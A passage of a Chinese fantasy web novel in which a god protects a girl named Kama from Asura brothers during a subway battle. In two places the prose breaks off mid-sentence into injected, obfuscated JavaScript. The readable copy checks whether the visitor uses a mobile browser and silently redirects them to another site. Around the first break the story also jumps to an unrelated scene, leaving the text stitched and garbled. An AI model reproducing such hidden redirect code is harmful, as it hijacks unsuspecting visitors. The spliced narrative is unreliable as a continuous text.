“伊诺,别这样。”卡玛不耐烦地踢了他一脚,“刚才那紫毛怪带着你跑来向我们示威,你不是下车了吗?怎么还被那家伙捉住当人质?一定是你在车站磨磨蹭蹭,大喊大叫,正好被他撞上了吧?” “我可没有大喊大叫!”伊诺嚷道,“我怎么知道那家伙会突然出现?——卡玛,你不要岔开话题,刚才我下车之前就觉得你好像有点怪怪的了,依你的性子,像他这种粗鲁无礼的家伙应该早就被你轰杀了才对……难道在我昏过去的那段时间里,你跟他的感情好像又有了进一步的发展?……哎呀!” 卡玛又踢了他一脚。 “早知你如此聒噪,我刚才就不应该检查你的系统把你弄醒。” “卡玛,你这样对我,是不是怕我破坏了你们之间良好的两人气氛?”伊诺捂着脚踝直叫,“电影里都是这样演的:被保护 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“我们在人间活动的痕迹与人类自身的历史一样长。”刹迦罗索性全都说了,“以前时代人类虔诚地信仰天神,因此我们只需在人间指定各自的祭司就可以了,祭司们受人尊敬,能将我们的意见快而高效地传达给所有人;但后来人类开始崇拜自己的科技,信仰的作用被逐渐淡化,所以从两百年前开始,指定了最后一批人间祭司后,我们开始利用机械化身直接进入人间活动,而这与阿修罗采取暴力侵犯的手段进入人间是不同的。”说到这里他看着伊诺,“如果你是神话专家,应该很了解才对。” “阿修罗是天神和人类当中的背叛者,因为自己的罪孽而被禁锢在帝拜,永远也不能离开。”伊诺收起玩笑的神态,呆呆地看着刹迦罗,“而天神则可以自由地才出入摩诃……” “等等。”卡玛说,“如果那些东西真的是被禁锢的话,为什么还能到人间来四处作乱?” “那是因为禁锢之城帝拜与人间界摩诃之间的结界出现了裂缝。”刹迦罗淡淡地说,“一直以来这道结界便起着束缚所有阿修罗的作用,理论上但凡有阿修罗烙印的天神或人类便不可能获得通过这结界的权限,然而正如人间在不断发展一样,帝拜里的阿修罗大概也已找到这结界的漏洞,开始蠢蠢欲动了,连刹帝利级别的阿修罗都能在人间出现,看来这结界得立即修补才行了。” “刹帝利级别的阿修罗?”卡玛记得刚才刹迦罗与那紫毛怪对话时也提到过这个字眼,“还有吠舍级别,这又是怎么回事?” “阿修罗根据能力强度的不同,一共分为四个等级。”伊诺很高兴自己百无聊赖时研究的荒诞玩意现在能派上用场,“他们的结构类似金字塔,最下面的是首陀罗,也是数量最多的一个阶层。” 不过那东西很弱,在帝拜大概也无非是个‘首陀罗’级的阿修罗而已,跟我们相比根本就不在一个档次上。 “就像我们今天在贫民区遇到的那个?”卡玛想起了西洛曾经说过的话。 “昨天在贫民区出现的八个阿修罗中,有七个是首陀罗,侵犯人间的绝大多数阿修罗都属于这个级别。”刹迦罗说。 “八个?我记得新闻报道里说的是一共出现了七个?”卡玛奇怪地问。 “我听贫民区里的人说,新闻报道里说的不是事实——警察只让其中一个停止了行动而已,剩下的三个被之后出现的第八个阿修罗破坏,另外两个自爆,还有一个逃走了——也就是我们今天遇到的那个。”伊诺说,“奇怪,如果这是真的,那么为什么阿修罗之间也会互相残杀呢?” “作为须弥和摩诃的堕落者,阿修罗保留了天神和人类本性中的负面因素,因此他们之间会自相残杀也并不奇怪。帝拜本来就是完全弱肉强食、以实力为绝对衡量标准的世界,低级的阿修罗为高级的阿修罗服务,高级的阿修罗也可以随意处置比自己弱的阿修罗,所以每个阿修罗都必须拼命提高自己的力量,才能在帝拜那种地方生存下去。”刹迦罗解释道。 “第八个阿修罗,大概就是那紫毛怪吧。”卡玛喃喃自语,“他对我说那些低级的阿修罗在人间闹事,也令他们感到困扰。” “他还说了些什么?”伊诺皱着眉问。 “他说……” 卡玛犹豫了片刻,才缓缓地说,“他说阿汉大概是个吠舍级别的……吠舍级别的阿修罗……” 伊诺张大嘴,好半天才干笑两声。 “他说阿汉也是阿修罗?”伊诺连连摇头,“简直是胡说八道,如果那大个子也是阿修罗,为什么从来没见他杀过人?卡玛,他是看着你长大的,直到现在也一直守在你身边,他怎么可能是阿修罗?” 卡玛抿着唇,低头不语。 她并不知道阿汉到底是什么来历,而对于把阿汉与那些形貌可怖、神出鬼没、到处杀戮破坏的魔鬼相提并论,她始终都抱有强烈的抗拒感,可是这种感觉今天发生了改变。 在警察局她斩钉截铁地说阿汉绝不是什么阿修罗,可现在她却真的有些迷惘了:阿汉能够将金属转化为能量,而这似乎正是阿修罗的能力,他的身体结构连她这个机械专家也弄不明白,他发动攻击时会产生与阿修罗如出一辙的蓝光,现在就连一个阿修罗也亲口说出阿汉和他是同类……如果阿汉不是阿修罗,那么他到底是什么? 她没有什么证据,只是单纯地认定阿汉不是那种东西,她知道自己是在拒绝接受事实——好吧,倘若阿汉真的是阿修罗,那又怎么样呢?他跟其他的阿修罗是不同的! 可是…… “那他自己又是什么级别呢?”伊诺没有注意到卡玛的神情,开始与刹迦罗讨论起西洛来。 “他是个刹帝利。”刹迦罗说,“难得一见的高级阿修罗。” “乖乖。”伊诺吹了声口哨,“听说首陀罗、吠舍和刹帝利在帝拜的比例大概是500000:2000:1啊……”说完他又打量着刹迦罗,“刹帝利级别的阿修罗也被你摆平了?看来你也很不简单的样子——接下来是什么?难道最高级的婆罗门级阿修罗就要登场了?” “刹帝利总共有六十四个,婆罗门有八个。”刹迦罗说,“在他们之上的,就是非天之主、阿修罗王,这个称号属于最强的婆罗门级阿修罗,阿修罗王随时需要应付来自其他七个婆罗门的挑战,战胜了现任阿修罗王就能取而代之,登上帝拜的权力顶点,因此阿修罗王必然是最强的,这其中不光是武力的比拼,还有智谋的较量。” “不知道现在阿修罗王是什么人。”伊诺摊开双手,“虽然我一直对这个很感兴趣,可我也从来没想过这一切都是真的,全都是存在的,这真是……太不可思议了。” “现在的阿修罗王,大概就是被那个刹帝利称之为‘明帝’的人。”刹迦罗望着卡玛,“卡玛小姐,他是这样说的吗?” 卡玛没有说话。 “你怎么了?”刹迦罗发现她似乎有些不对劲,上前两步来到她面前。 卡玛抬起头。 “卡玛?”伊诺不知发生何事,呆呆地望着她。 “如果阿汉是阿修罗。”她看起来有些疲惫,“那么,是不是意味着,我也一样?” 她凝视着面前的金瞳男子。 “紫毛怪说过我跟他们是一样的。” “卡玛!”伊诺失声叫道。 “告诉我,天神——我跟阿汉,是不是阿修罗?如果我们不是,那么你能不能告诉我,我们究竟是什么?” “你在胡说些什么?”伊诺目瞪口呆,“你疯了吗?你……你分明就是个活生生的人呀!” “我现在只想知道这一件事。”卡玛平静地说,“刹迦罗先生,如果你能给我明确的答案,我就接受你作为我的保护者;如果你现在不能回答,那么我就要自己去把事情弄清楚了。” 刹迦罗的金瞳中闪过一丝愕然。 “你是在跟我谈判吗?” 卡玛没有说话,但她的蓝眼睛已明白地承认了。 “你……你要怎么去把事情弄清楚?”伊诺结结巴巴地问。 “她会跟着那个阿修罗走。”刹迦罗低声说。 “我觉得你需要好好休息一下。”伊诺连连摇头,“大概你是累了,或者是在污染区里待久了——卡玛,以你的智商居然能做出这种愚不可及的决定简直令我大开眼界。” “伊诺,我知道我在说什么。”卡玛笑了笑,“你了解我的脾气,宁愿铤而走险也不肯被蒙在鼓里,我不知道跟着那紫毛怪走等着我的会是什么,但我觉得那样至少有机会了解到真相。” “该死的你会没命的!”伊诺跺着脚嚷,“如果阿汉在这里,他也肯定不会同意你这么做!……喂,大个子,你不是来保护她的吗?我从来没对你指望过什么,可现在你得看好她,免得她做傻事!”到了最后他索性一把将刹迦罗抓来当自己人了。 刹迦罗眯着眼,微皱着眉,看上去并不太高兴。 但他最后还是让步了。 “好吧,我明白了。” “你要告诉我全部事情的来龙去脉了?”卡玛眼睛一亮。 她的表情把他逗乐了。 “你真是个有趣的女孩。”他有些无可奈何地笑了,“看来他们有时还是会对我委派一些不那么乏味的任务。” “不要说不相干的话。”卡玛警告他。 “好,好。”他举起双手作投降状,“瞧,我不能回答你的问题,并不是因为我想对你保守秘密,而是我确实对你和你伙伴的事一无所知——嗨,别着急——但现在看来,那个阿修罗为什么找你大概与你的问题有关,换句话说也和我的任务有联系,所以我打算现在带你去一个地方。” “什么地方?”卡玛追问道。 刹迦罗微微一笑。 “我的委托人所在的地方——也是一切疑问都有可能得到解答的地方。” “‘他们’?”卡玛感到自己的心猛跳了两下。 “对。”刹迦罗点了点头,“他们。” “谁们?”伊诺一头雾水。 刹迦罗正想答话,但就在这时,三人突然听到了一阵奇怪的声响。 像是鞭子,又带着金属的共鸣—— 声音从刹迦罗身后传来,但他的身后便是那截断掉的地铁车厢,闪烁的灯光下空无一人。 唰!—— “隧道!那隧道!……”伊诺大吃一惊。 唰唰!—— 几道寒光袭向刹迦罗,缠住了他的四肢,卡玛定睛一看,发现那是一些细如头发的金属细丝。 金属细丝不断地缠上刹迦罗的身体,也有一些缠住了车厢内的扶手,并很快便将其整整齐齐地切割开来。 看到这景象卡玛立即想起西洛在自我介绍时曾说过的话。 蝎巢里的人正是被这种东西割下头颅的! “小心!……”她大叫一声。 刹迦罗腮帮上的肌肉在不断抽动,一阵巨大的力量正将他朝隧道里拖拽,他努力稳住身形,见卡玛要过来,便厉声喝道: “向前跑,别待在这!” 说完他将趴在自己肩上的小银貂丢给卡玛,挥手在她和伊诺跟前建起了一个金色的光之结界,那金色的光墙封住了车厢,把他与那两人分隔开来。 一根金属丝缠住了他的脖子,紧接着他的胸膛和腰身也遭到束缚。 嘿嘿——总算轮到我们出场了!被捆绑的滋味如何呢? 不知好歹的天神呀,你伤了我们最为亲爱的弟弟,现在就让我把你炸得连渣也不剩吧—— 两个交织在一起的声音从漆黑的隧道中传来。 卡玛心头一颤。 大概,这便是紫毛怪的两个哥哥—— 库巴和那塔了。 9. 第 9 章 地铁列车里其他的乘客不知发生何事,惊慌失措,听说列车中后部发生爆炸,都纷纷朝车头的方向涌去。 伊诺拉着卡玛在车厢里飞奔,身后不时传来阵阵巨响,卡玛回头望去,只见那几截失去电源供应的破损车厢里接连不断地闪光——看起来刹迦罗已跟库巴那塔兄弟发生激烈冲突了。 “被担心,他不会有事的。”见卡玛心神不定,伊诺低喊。 可她似乎做不到。 “他是天神,与阿修罗作战是他的使命。”伊诺拍了拍她的肩,“现在阿汉不在,也只能指望他了。” 卡玛停下脚步。 “他和阿汉不一样。” 车厢过道间,两人彼此对视。 “让开,别挡着路!该死的——” 逃窜的乘客推搡着,气急败坏地嚷。 很快这节车厢里就剩下卡玛和伊诺了。 还有OK。 “他不是阿汉。”伊诺低声说,“不要对他要求太苛刻了。” “是谁在对他要求苛刻?”卡玛反问。 “我们难道不都在拿他和阿汉比较吗?” “那是你,伊诺,我没有。”卡玛摇头。 “阿汉是你的保护者,现在他的位置被这个男人取代,你果真没有想过这件事?” “伊诺,你是在吃醋。”卡玛平静地说,“今天以前我的保护者还是个沉默的机器人,所以你觉得无所谓。” 伊诺没有说话。 “而我现在的保护者是个看起来会说会笑、有魅力的家伙,再加上这次出现的敌人比以往任何一次都要难对付,所以你开始有危机感,担心自己帮不上我,还会成为拖累。”卡玛盯着伊诺的眼,“你可以否认,但我看得出来,你心里就是这样想的。” “那家伙也不是人类,他跟阿汉又该死的有什么区别?” 伊诺几乎是在对卡玛咆哮。 “没准我也不是人类呢?”卡玛耸了耸肩。 “卡玛我在说正经的!”伊诺生气地喊,“OK也不是人类,莫非古怪的那一个真的是我?” OK冲着他吱吱叫了两声,钻进卡玛的衣襟。 “伊诺,你到底怎么了?”卡玛皱着眉头,“现在的情况完全不在我们的预期之内,然而这些事都已经发生了,谁也没有办法,你觉得现在去睡一觉醒过来就会发现一切都一如既往了吗?” “我只是……”伊诺懊丧地揉着脑门,“我只是……” 他用抱怨的眼神瞅着卡玛,吁了口气。 车厢里震动不断,车轮与铁轨之间发出的摩擦声尖锐刺耳。 “先离开这里吧。”伊诺重新上前拉住卡玛的手臂,“有什么事出去再吵——列车一会就要到站了。” “你又想逃避了?”卡玛跟着他一起跑。 “才怪。”伊诺瞪了她一眼,“我的字典里可从来没这个词。” 他的金瞳在黑暗中闪闪发光,此时的刹迦罗全身都笼罩着一层淡金色的薄光,由光构成的咒文和图案在他的手腕上缓慢旋转。刚才的激烈战斗已经接连毁掉了三节车厢,而这第四节也快要宣告报废了。 “哈哈哈。” 雄浑的笑声来自刹迦罗身后的一个黑影。 “真没想到,虽然是在摩诃的机械形态,须弥的天神还是这么难对付呀。” 那是一个彪悍的男人,扎着头巾,脸上、胸膛上和胳膊上涂着油彩,一看便知是个军人,他的相貌和西洛非常相似,但却要粗犷得多,身形也将近比西洛大了一倍,闪亮的胸牌上刻着他的名字。 他是库巴,西洛的大哥。 “当你还是人类的时候,似乎是个战士吧。”刹迦罗淡淡地说,“为什么会堕入帝拜成为阿修罗?” 库巴茅草般杂乱的眉毛皱在一起,他愣了一会,接着他放声大笑,洪钟一般的笑声震得整个车厢都在颤抖。 “我的问题很好笑吗?”刹迦罗问。 “是很好笑呀。”库巴说,“每一万人当中可能只有一个死后能进入须弥成为天神中的一员,剩下的不是重新转生成人就是掉进帝拜变成阿修罗,我在摩诃的时候杀人无数,死后变成阿修罗是天经地义的事呀。” “在摩诃为什么要杀那么多人?”刹迦罗又问。 “你这家伙也真奇怪,要打就打吧,问这么多做什么?”库巴嗤之以鼻,“该不会是现在还打算要感化我吧?你们这些天神还真的是很烦呀。” “为什么堕入帝拜之后还要继续杀人?”刹迦罗继续问,“杀人似乎并不能给你带来快感,为什么还要不断地做这种事?” 库巴用看怪物的眼神打量着刹迦罗。 “胡说八道,谁说我没快感了?杀人的时候我可爽得很哪。” “是因为身为人类时的经历已经让你麻木了吧?”刹迦罗说,“作为军人,只能不断地杀戮以证明自己的价值,为了消除杀人之后的愧疚和罪恶你用了各种方法,然而全都不管用,于是你索性将杀戮进行到底,麻木之后一切也无所谓了,是吗?” “你好像会读心术的样子。”库巴冷冷地盯着刹迦罗。 “这只是天神的本能。”刹迦罗微微一笑,“因为你似乎是个很单纯的人,所以很容易就能看穿你的心。” “闭嘴!……在帝拜为了要活下去只能不断往上爬,脏活总得有人干,与其让我那只懂装酷的小白脸弟弟去干,还不如我自己来!”说到这里他咬牙切齿,恨不得把面前的天神一口吞下去。 “所以我讨厌你们这些该死的天神,高高在上,一切都说得那么轻描淡写,人间和阿修罗界的事,你们懂个屁!”库巴咆哮着,唾沫飞溅。 “弟弟的欲望,由两位兄长来帮忙达成,弟弟的野心不断膨胀,于是他的哥哥们就不得不制造更多的罪孽。”刹迦罗轻轻摇头,“所以,三兄弟全都成了阿修罗——从没有任何地位的首陀罗一点点地上升到现在刹帝利的阶层,付出了很多代价吧。” 库巴被刹迦罗激怒了,他的指尖再度闪出亮光,意欲发动新一轮攻击。 冷静点,库巴!别中了他的圈套! 另一个声音响起,库巴的行动似乎从身体内部受到了某种阻碍。 “别妨碍我,那塔!”库巴脖子胀得足有水桶粗,太阳穴上青筋突突直跳,他两只眼睛红通通的,直瞪着刹迦罗,“我要把他切成碎片!” 把身体给我,还是让我来吧——你已被看穿,这样下去你赢不不了他。 “妈的,你说那小子比我强?”库巴恼羞成怒,“刚才我不过是跟他玩玩而已,你的炸弹奈何得了他么——那塔,你干什么?!” 库巴的身上开始出现纵横交错的光纹,他的身体被这光纹切成了一个个小立方体,接着这些立方体开始旋转、移动,重新排列组合,从脚开始向上逐渐变化,呈现出了另一种新的形态。 库巴似乎非常抗拒,好几次企图重新夺回对那身体的主导权,新的形态始终无法完全稳定下来,但刹迦罗已出手了。 “虽然并不愿意与有苦衷的阿修罗交战,但现在我有任务在身,所以……” 刹迦罗的掌心黑光一闪。 “就让我在摩诃超度你们,终结你们所有的苦痛罢。” 当新的天王释暗波迅速成型脱手而出时,那位刹帝利的形态得到了固定,这是西洛的另一位兄长,见刹迦罗已经下了杀手,那塔大吼一声挥手丢出六个红光闪烁的球体,这些拳头大小的球状物与那天神发出的释暗波相遇后立即发生剧烈爆炸。 闪光和轰鸣再次充斥车厢,浓烟阻断了那塔的视线,他消瘦的脸上刚露出一丝笑容,却又勃然变色—— 他一连用了六个烈性炸弹,却仍然没有完全阻挡那黑蓝色的光球! 惊怒之下那塔连连后退,连续不断地使用炸弹,但这次那天神似乎动了真格,一枚炸弹仅能非常有限地耗损那释暗波的能量。 那塔可不想让自己也被击中——这光球看上去并不起眼,可威力却远远超出想象,刚才西洛虽然毫无防备,但因为释暗波的飞行速度稍有迟滞,所以他还是有闪避动作,然而仅是被击中腰侧,西洛就完全丧失了行动能力,不得不将这具身体的控制权交给了他和库巴,直到现在他们还感应不到西洛的意识,除了强大的破坏力外,释暗波似乎还具有某种封印能力,一经接触就会立即影响全体…… 如果他也被这玩意沾到,只怕也会变得跟西洛一样,这样一来能够控制这身体的就只剩下库巴一人,可被激怒的库巴已经不能冷静应战,这样下去他们三兄弟早晚彻底玩完。 更可怕的是,那天神到目前为止都轻描淡写,仿佛完全不曾使用全力——说要将他们三人一并超度,剥夺他们作为人类和阿修罗曾经存在的全部业果……这天神没有狂妄托大,将刹帝利级的阿修罗化为三界虚空中的尘埃,他的确有能力做到! 在人间使用机械形态,却还拥有这般实力的天神,估计整个须弥也数不出几个吧?这金瞳大汉到底是什么来历?那三个老家伙究竟派了什么人下来保护那女孩? 该死的别发呆,那塔! 那塔的面前突然出现了一堵由无数丝线组成的“墙”。 撞上了库巴的防护墙,释暗波的推进终于受到有效的阻碍,被它破坏的部分不断被填补,那塔趁机再丢出十二枚烈性炸弹,终于彻底破坏了天神的攻击。 当然,库巴的防护墙也被那塔的炸弹一同炸毁了。 见那天神的眉间闪过一丝不耐,左手又开始闪起黑光,那塔突然叫道: “等……等一下!” “我想我们之间大概有什么误会!”他如是说。 “哦。”刹迦罗冷冷地说。 “你知道那女孩是什么人么?”他细长的眼几乎眯成了一条缝。 “如果你是想拖延时间趁机耍诈,那么我很抱歉——”刹迦罗朝列车窗外望了一眼。 隧道里的灯开始变得密集,同时他感到列车有减速的迹象,想必是快要到下一站了。 下一站是塔楼广场,请准备下车。 前面的车厢里响起了广播,他将目光拉回到面前的刹帝利身上。 “我没有时间。”说完他手中的光球开始噼噼啪啪地膨胀起来。 “那女孩是阿修罗,明帝大人托付我们要将她带回帝拜——你身为天神,为什么三连神会派你到人间来保护一个阿修罗?这难道不是很奇怪吗?”那塔飞快地说。 你他妈的在啰嗦些什么呀,该不是怕了这小子吧?把身体给我,让我杀了他,看他还能说什么大话——喂,你听见没有?! 那塔死死地攥住自己的右手——库巴的能量在体内已经积聚到了极点,他的兄长从没这么渴望得到对身体的控制权,眼下他就快要控制不住自己的右半边身体了。 但他明白,缺乏西洛的能力,光凭他和库巴肯定不是这天神的对手,对方曾说“不愿和有苦衷的阿修罗战斗”,那么如果不阻拦他和那女孩的接触,至少现在能保住性命,之后还有大把机会,犯不着在这里就和三连神的人硬拚。 他知道还有其他的阿修罗也接受了这个任务,但他们无疑是最先接触到目标的,本来的计划是当其他人都还在人间漫无目的地游荡,顺便四处破坏时,他们已经抢先找到了女孩并将她送到明帝身边,这样一来必定会得到明帝的赏识,从六十四刹帝利当中脱颖而出顺理成章,这次明帝派出的都是吠舍和刹帝利级别的阿修罗,而须弥那边三连神居然出动了这么强的天神,可见那女孩的身份非同一般,她回到帝拜后一定有极大的利用价值,这绝对是个立功的大好机会——凭借西洛的计略智谋,库巴的勇悍冷硬和他的阴险毒辣,他们三兄弟本来就是刹帝利中风头正劲的后起之秀,因此晋升八大婆罗门也不是没有可能。 先把女孩让给这天神,随后只需要稍微放出一些风声就会有另外的阿修罗缠上他们,凭这天神的能力想必其他人也没那么容易得手,最好是让这天神多消耗些能量,多暴露些底细,然后再趁他疏忽大意自顾不暇的时候出手,胜算绝对比现在要大得多。 “那女孩对帝拜来说可不简单。”那塔拿定主意,盯着刹迦罗,“既然三连神能派你这样的天神来守护她,明帝也自然不会掉以轻心呀。” 看到天神脸色一变,那塔冷笑道: “你以为,那么重要的目标,明帝大人会只派我们到摩诃来吗?” 塔楼广场到了,请不要将随身物品遗留在车上。 “大概,现在已经有其他的阿修罗和我们一样,也找到她了吧?”那塔瞟了一眼乱成一团的地铁站台,刚才他们这么一闹,乘客们全都胆战心惊,好容易挨到到站,当然全都慌忙下车,污染区的塔楼广场是两条地铁线路交汇的换乘车站,本来就人群密集,现在到处都是争抢着逃离地铁站的乘客,那女孩会不会混在其中只有天晓得。 “现在外面这么乱,一旦把人跟丢了要再确定目标,又得花费不少时间呀……”那塔直盯着刹迦罗的金瞳,“那女孩刚与天神和阿修罗接触,大概此时正心神不定,不知道该相信谁吧?……” “原来你们一直在拖延时间。”刹迦罗一步一步地朝开启的车门退去,“阿修罗的手段果然高明了不少。” “这就要逃了吗?”那塔轻蔑地说,“你该不会是刚才打了一阵,不想再继续消耗能量了吧?” 刹迦罗冷笑一声,闪身离开了地铁列车。 见那天神匆匆离去,那塔轻轻地吁了口气。 就这样把那家伙放跑了呀?我还没过瘾呢!平时就知道吹牛,你也该好好提升提升战斗力了! 听着库巴的抱怨,那塔嘴角泛起一丝苦笑。 他们三人,最有手段的是小弟西洛,身为大哥的库巴正如那天神所说,反倒是最单纯头脑最简单的那一个——他只想着战斗,对他们的任务压根就没什么概念,成为刹帝利以后他们几乎百战百胜,日益自傲的库巴还没看出来那天神的厉害之处,若是任由他胡来,只怕被轰杀后还不明白究竟是为什么吧…… 我就不信没了西洛的瞬间移动术和自我修复能力,我们两人就收拾不了他了——喂,那塔,你要把身体霸占到什么时候?……嘿,那塔,你——你怎么了?! 那塔双膝着地,悄无声息地倒了下去。 “不行了……直接面对那天神发出的黑光球,我的体力就好像被源源不断地吸走一样……那东西越接近我的能量就流失得越厉害……” 不会吧,那家伙有这么厉害吗?那塔你……你没事吧?…… “库巴,身体的控制权交给你,但你不能再去追击那个天神,千万不要……这是我跟西洛的命令,你明白了吗?” 真见鬼,怎么一个两个都成了这德性——好吧好吧,我听你们的,不去找那家伙就是了——但是等你们都缓过劲之后,下次决不能便宜了他,听到没有? “那还用说……” 在那塔失去意识前的一瞬间,不知怎的,他脑子里浮现出的居然是那天神的话。 弟弟的欲望,由两位兄长来帮忙达成,弟弟的野心不断膨胀,于是他的哥哥们就不得不制造更多的罪孽。 该死的……西洛,我知道你也听到了……不是这么回事,那家伙在胡说……听到了吗?不是这么回事,别……别胡思乱想……我们的命没他那么好,那家伙说得那么轻巧……真是该死…… 降生在人间,本已身不由己,从人间堕入阿修罗界,更是谁都别无选择了呀…… 我们……一定能成为婆罗门的。 刹迦罗早已将刚才的刹帝利抛在脑后。 因为他此时竟有些惊慌。 纷乱的人群中,他突然感应不到卡玛的气息了。 该不会……她已被其它的阿修罗带往帝拜了? 刹迦罗暗暗叫糟,若真是那样,他便已算失败了。 早知刹帝利级的阿修罗力量并没有达到想象中的程度,刚才对峙时他就不应该让她离开,他只需控制释暗波的能量,加强天神结界,仍可击退那三兄弟,同时确保她不受伤害的。 不过,地铁才刚刚到站,他们应该走不了多远,至少没可能短短几十秒内就离开了地铁站,在这样的范围内,阿修罗打开摩诃和帝拜之间的通道时所产生的能量波动,应该是逃不过他的感触的——尽管和在须弥使用天神本尊相比,处于机械形态的他已迟钝了不少。 他担心的是,既然刚才那个三位一体的刹帝利其中一个人格会使用瞬间移动术,那么其它的阿修罗也可能精于此道,如果卡玛落入其手又在顷刻间被带到数十甚至上百公里以外的地方,那即使打开了阿修罗界的入口他也无从察觉。 “你还呆在这里干嘛?快点离开吧,搞不好这列车待会就要爆炸了!”一个穿着制服的地铁工作人员慌慌张张地从他身边经过,“真是活见鬼,今天真倒霉!哇!——” 刹迦罗一把抓住他。 “这个地铁站有几个出入口?” “喂,你干什么,快点放开我——”那人用力挣扎,但抬头一看到那双不耐烦的金色眼瞳,顿时傻了,赶紧说,“一……一共有十二个……” “十二个?”刹迦罗眯了眯眼。 “不……不过现在只有两个能用,因为其它的上面没东西,一出去就是欧米伽污染层,所以早就被封锁了。” 刹迦罗正想再问,突然附近又传来爆炸声,随之而起的是一阵惊叫。 “天呀,杀人啦!——” 从那爆炸声传来的方向,他心中突然升起一丝异样。 他清晰地感应到了一股不弱的力量,奇怪的是这力量既非来自人类机械体也不属于阿修罗,却带有天神气息的特征。 刹迦罗松了手,匆匆离去。 那人连连喘气,他还从未见过这样的人,刚才差点没把他吓晕,问了两句又像阵风似的没了踪影,妈的,该不会是真撞了鬼吧? 咦,这里乱作一团,跟这家伙有关么? …… 与因陀罗和希格玛的力量完全不同,可须弥的人为什么会在此时此地出现?难道和明帝一样,三连神也派了其它人到摩诃来? 这不可能。 以往的委托他从未失手过,以他在须弥的地位和能力,三连神没理由不信任他。 但刹迦罗也非常清楚,以三连神那谁也捉摸不透的思维方式,他们有可能做出任何出人意料的决定,对于三连神来说没有“不可能”,他们全知全能,一切都在其精确计算中,看上去再荒谬再难以理解的决定都一定有隐藏在其背后的合理性,通过这些超越一切的思考来控制整个世界任何一个环节的未来趋向,便是三连神的智慧。 但就算三连神派了第二位天神来参与此事,为何这力量令他感到如此奇怪?印象中他从未接触过拥有这种力量特征的天神,但这感觉又偏偏有些熟悉。 倒是……倒是有些像他自己的力量。 现场一片混乱,尽管大家都忙着逃散,但同样围观者甚众,刹迦罗仗着身体优势挤了进去,一眼便看到那个蓝发女孩正躺倒在地上。 他上前将卡玛的上身抬起,让她靠在自己怀里。 “哎呀,那个人的眼睛是黄色的啊!”周围有人在叫。 “真的耶——还没见过这种颜色的人造眼呢。” “不知道有什么功能啊,一定很贵吧?……” 刹迦罗发现四周至少有三人戴着的墨镜下折射出淡淡的红点,一看便知是视觉神经经过改造,移植了带间谍摄像功能的眼球,这种人在阿什提无所不在,将偷拍来的影像和图片卖给媒体,科技发展了,狗仔和情报贩子的装备也越来越华丽了。 他开始诅咒起那个弄坏他太阳眼镜的刹帝利来——奇怪的金目男子在发生爆炸的地铁站内出现,与当事人似乎有特殊关系,更可能与先前的地铁列车遇袭事件有关,再和更早一点的“贫民区阿修罗事件”稍作联系——大概三小时后他就能上新闻头条。 若是让人知道他就是传说中的影之帝国、毗沙门财团的最高首脑,大概全世界都要轰动了,毗沙门财团对世界的影响力无人不晓,但那财团的头头可是从未现身过。 “不想死的话,”他冷冰冰地扫了一眼四周的人群,“就都给我滚。” 话音未落,他周围已干干净净。 卡玛陷入昏迷,但她的物理形态并没有受过伤害的迹象,地上不远处有个半径八米以上的盾形圆坑,碎石块和玻璃渣撒了一地,此外还有不少机 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17363288|199777||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 械零件、表皮组织和肌肉纤维的碎片,看到这景象,刹迦罗不仅暗吃一惊。 伊诺不见了。 地上到处都是人造人体的残骸。 他们遇到了什么人?如果是其他的阿修罗,为什么破坏了伊诺的身体,却把卡玛留在这里? 刹迦罗将手搭在卡玛前额上,运用天神的能力检查她的状况——虽然残存的脑波显示她曾收到过惊吓,但她确实仅是失去知觉而已,并没有什么大碍,她还是那个卡玛。 虽然奇怪,刹迦罗还是感到庆幸,“保护人间的重要人物”这样的任务他一向驾轻就熟,倘若失手,面子上过不去倒是其次,假使因此而产生严重后果,他该如何向三连神交待? 吱吱……吱…… 一个毛茸茸的小东西跳到他面前,用鼻头拱他的手以引起他的注意。 “你可真是个幸运的小家伙。”刹迦罗望着OK喃喃自语。 OK不停地叫着,像是要告诉他些什么,刹迦罗心头一动,摊开手掌放到它跟前。 没想到OK一接触到他的手指,刹迦罗就禁不住全身一颤。 他一脸愕然地望着手中的小银貂。 刚才所感应到的力量,竟是从OK身上发出的?! 这小家伙竟和自己一样,都从须弥而来? 刹迦罗还从未听说过有哪位天神在摩诃会以动物的形态活动,以OK和卡玛的亲密程度来看,大概它已在那女孩身边待了很长一段时间了,莫非在他接到委托前三连神早已在卡玛身边安排了守护者?为了隐蔽起见,让那天神化身成为她的宠物,现在因为形势日趋严峻,三连神认为光靠OK已不能再保证她的安全,所以才派他到摩诃来? 这无疑有很大的可能,但刹迦罗还是觉得有些蹊跷。 “小家伙,你的本尊,在须弥是哪位天神?”他皱着眉问。 若OK是天神化身,他第一次跟它接触时就应该察觉到才对。 “你为什么会拥有与我性质如此相似的力量?——你跟我是什么关系?”刹迦罗的口吻变得有些严厉,虽然这小家伙确实相当讨人喜欢,可一想到自己也极可能成了被三连神“算计”的对象,什么好心情也没了。 三连神的能耐他是再清楚不过的,但凡是被他们“算计”过的,多半不会有什么好下场——见鬼,三连神的委托他从不推诿,每次都是完美收工,他可不记得自己有过什么不良记录,他们干吗要打他的注意?…… OK很无辜地望着眼前寒着一张脸的男人。 刹迦罗叹了口气。 算了,反正他们总有理由就对了,乱猜也不是办法,反正稍候就要带着那个好奇宝宝去中央神庙,什么问题也可以当面问,三连神从来不会拒绝回答问题,但答案能否解惑就要看运气了。 可是,卡玛这个样子,能带她去三连神么?至少,也得等她醒过来再说罢?…… 刹迦罗打量着满地狼藉,又觉得有些头疼了。 伊诺…… 